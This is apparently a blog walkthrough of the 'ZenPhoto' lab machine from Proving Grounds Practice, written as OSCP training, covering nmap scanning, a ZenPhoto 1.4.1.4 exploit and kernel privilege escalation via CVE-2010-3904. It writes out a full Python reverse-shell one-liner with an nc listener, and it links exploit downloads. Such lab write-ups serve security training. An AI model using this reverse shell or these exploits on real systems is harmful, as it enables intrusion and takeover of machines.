Secsheep

愿你从知识中获得勇气和力量。

Home › oscp › Pg Practice ZenPhoto writeup

Pg Practice ZenPhoto writeup

Secsheep 2023年10月2日    

目录

Toggle
  • Nmap
  • Http
  • Exploitation
  • Privilege Escalation

Nmap

 

──(kali㉿kali)-[/home/Tools/nmapAutomator/192.168.243.41]
└─$ cat nmapAutomator_192.168.243.41_all.txt

Running all scans on 192.168.243.41

Host is likely running Unknown OS!

———————Starting Port Scan———————–

 

PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
80/tcp open http
3306/tcp open mysql

 

———————Starting Script Scan———————–

 

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 8392abf2b76e27087ba9b872328ccc29 (DSA)
|_ 2048 6577fa50fd4d9ef167e5cc0cc696f23e (RSA)
23/tcp open ipp CUPS 1.4
|_http-server-header: CUPS/1.4
| http-methods:
|_ Potentially risky methods: PUT
|_http-title: 403 Forbidden
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
|_http-server-header: Apache/2.2.14 (Ubuntu)
|_http-title: Site doesn’t have a title (text/html).
3306/tcp open mysql MySQL (unauthorized)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

OS Detection modified to: Linux

 

———————Starting Full Scan————————

PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
80/tcp open http
3306/tcp open mysql

 

No new ports

 

———————-Starting UDP Scan————————

PORT STATE SERVICE
5353/udp open zeroconf

Making a script scan on UDP ports: 5353

PORT STATE SERVICE VERSION
5353/udp open mdns DNS-based service discovery

 

Http

Given the open ports that we have and the versions running on them I am going to jump straight into port 80.

check the source code, u can know zenphoto version is 1.4.1.4

Exploitation

u can use exp-db to search “zenphoto 1.4.1.4”

https://www.exploit-db.com/exploits/18083

But,entering the shell,u will find this’s a unstable shell,so, need use python script to reverse a stable shell

export RHOST="192.168.45.227";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
rlwrap nc -lvnp 443

Privilege Escalation

Then download Linpeas.sh into target machine,and run it, find

 

[+] [CVE-2010-3904] rds

Details: http://www.securityfocus.com/archive/1/514379
Exposure: highly probable
Tags: debian=6.0{kernel:2.6.(31|32|34|35)-(1|trunk)-amd64},ubuntu=10.10|9.10,fedora=13{kernel:2.6.33.3-85.fc13.i686.PAE},[ ubuntu=10.04{kernel:2.6.32-(21|24)-generic} ]
Download URL: http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c

https://www.exploit-db.com/exploits/15285

u then executed the exploit and was able to gain a root shell.

 

 Previous Post

OSCP渗透靶场之Vulnhub-Sar1

―2023年6月12日

Next Post 

Pg Practice Readys writeup

―2023年10月2日

Author: Secsheep

Related Articles

Secsheep ― 2023年10月7日 | No Comment

PG-Access-Wp

1.Reconnaissance We

Secsheep ― 2023年5月22日 | 1 Comment

转载-Oscp训练靶场之HTB-Redcross

Secsheep ― 2025年1月8日 | No Comment

2025-1-8

Secsheep ― 2024年8月14日 | No Comment

我对Kerberos协议的理解

Secsheep ― 2024年7月5日 | No Comment

加油,前方就是胜利!

Secsheep ― 2024年6月29日 | No Comment

内网信息收集

Secsheep ― 2024年6月28日 | No Comment

Cobaltstriker 使用篇

Secsheep ― 2024年6月26日 | No Comment

内网篇-Kerberos相关安全问题和攻击手法

Secsheep ― 2024年6月26日 | No Comment

内网信息收集总结

Secsheep ― 2024年6月25日 | No Comment

域森林环境搭建总结

Leave a Reply Cancel reply

Copyright © Secsheep 赣ICP备2023005527号